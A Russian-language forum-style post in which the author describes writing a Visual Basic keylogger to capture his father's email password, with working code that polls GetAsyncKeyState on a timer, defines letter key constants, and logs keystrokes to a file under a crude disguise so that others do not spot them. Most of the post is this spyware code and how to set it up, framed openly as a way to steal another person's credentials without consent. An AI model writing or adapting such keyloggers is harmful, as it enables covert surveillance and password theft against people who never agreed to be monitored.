Может кому пригодится..
Жил я был кароче.. и вдруг смотрю.. Низнаю пароля от батиного мыла.. надо получить.. каким способом?? Нет, не выпрашивал, не умолял на коленях.. решил написать шпион..
Открываем VB, выносим на форму Timer и ставим ему Interval 100, почему именно 100.. Мы пропишем в таймере перехват и запись в файл, клавишы, даже со 100 иногда может случайно запсиаться 2 раза одна и та же клавиша, если поставить Interval меньше то запишется не раз и не два а раз 7.. ну кароче более менее понятно..
Начнём код:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Это вписываем в самом начале.. всем я думаю понятно что сдесь делается ;D "Инклудим" функцию GetAsyncKeyState из библиотеки user32.dll..
Ловить нажатые будем примерно так:
If GetAsyncKeyState(Константа) then
действие
действие
действие
...
End If
Значит нужно обозначить константы.. допустим мы берём буквы..
!!!(В API справочнике нет кодов букв..)!!!
Обьявляем константы сразу после инклудинга функции следующим кодом:
Const VK_Q = &H51
Const VK_W = &H57
Const VK_E = &H45
Const VK_R = &H52
Const VK_T = &H54
Const VK_Y = &H59
Const VK_U = &H55
Const VK_I = &H49
Const VK_O = &H4F
Const VK_P = &H50
Const VK_A = &H41
Const VK_S = &H53
Const VK_D = &H44
Const VK_F = &H46
Const VK_G = &H47
Const VK_H = &H48
Const VK_J = &H4A
Const VK_K = &H4B
Const VK_L = &H4C
Const VK_Z = &H5A
Const VK_X = &H58
Const VK_C = &H43
Const VK_V = &H56
Const VK_B = &H42
Const VK_N = &H4E
Const VK_M = &H4D
Теперь остаётся самое простое.. использовать то что я писал выше..
Я покажу пример как написано у меня в шпионе..
If GetAsyncKeyState(VK_B) Then
Write #1, 66, Int(Rnd * 9)
Call pluss
End If
Действие произведено со знаком 'B' Вторая строка записывает знак в файл под тупой шифровкой придуманой мною для отвода глаз, что-бы никто случайно не напоролся на открытые знаки.. упсть пасут цифры.. шифровка пишет ASCII код знака, запятую и случайное число от 0 до 9..
потом вызывается функция pluss, у меня эта функция прибавляет один знак к значению общей суммы записанных символов(это так.. от нефиг делать.. )..
ну и закрытие..
Примерный код:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'// константы
Const VK_Q = &H51
Const VK_W = &H57
Const VK_E = &H45
Const VK_R = &H52
Const VK_T = &H54
Const VK_Y = &H59
Const VK_U = &H55
Const VK_I = &H49
Const VK_O = &H4F
Const VK_P = &H50
Const VK_A = &H41
Const VK_S = &H53
Const VK_D = &H44
Const VK_F = &H46
Const VK_G = &H47
Const VK_H = &H48
Const VK_J = &H4A
Const VK_K = &H4B
Const VK_L = &H4C
Const VK_Z = &H5A
Const VK_X = &H58
Const VK_C = &H43
Const VK_V = &H56
Const VK_B = &H42
Const VK_N = &H4E
Const VK_M = &H4D
Private Sub Timer1_Timer()
If GetAsyncKeyState(VK_A) Then
'действие
End If
If GetAsyncKeyState(VK_B) Then
'действие
End If
If GetAsyncKeyState(VK_C) Then
'действие
End If
If GetAsyncKeyState(VK_D) Then
'действие
End If
If GetAsyncKeyState(VK_E) Then
'действие
End If
If GetAsyncKeyState(VK_F) Then
'действие
End If
If GetAsyncKeyState(VK_G) Then
'действие
End If
If GetAsyncKeyState(VK_H) Then
'действие
End If
If GetAsyncKeyState(VK_I) Then
'действие
End If
If GetAsyncKeyState(VK_J) Then
'действие
End If
If GetAsyncKeyState(VK_K) Then
'действие
End If
If GetAsyncKeyState(VK_L) Then
'действие
End If
If GetAsyncKeyState(VK_M) Then
'действие
End If
If GetAsyncKeyState(VK_N) Then
'действие
End If
' с остольными также..

End Sub
Ах да.. такой-же способ можно использовать для горячих клавиш.. допустим если надо при нажатии Ctrl+F открыть прогу.. или ещё чё..
Ну вот в кратце и всё, похожим способом можно отслеживать и мышь, если будете псиать всё в файл не забудте открыть его.. ;D пока!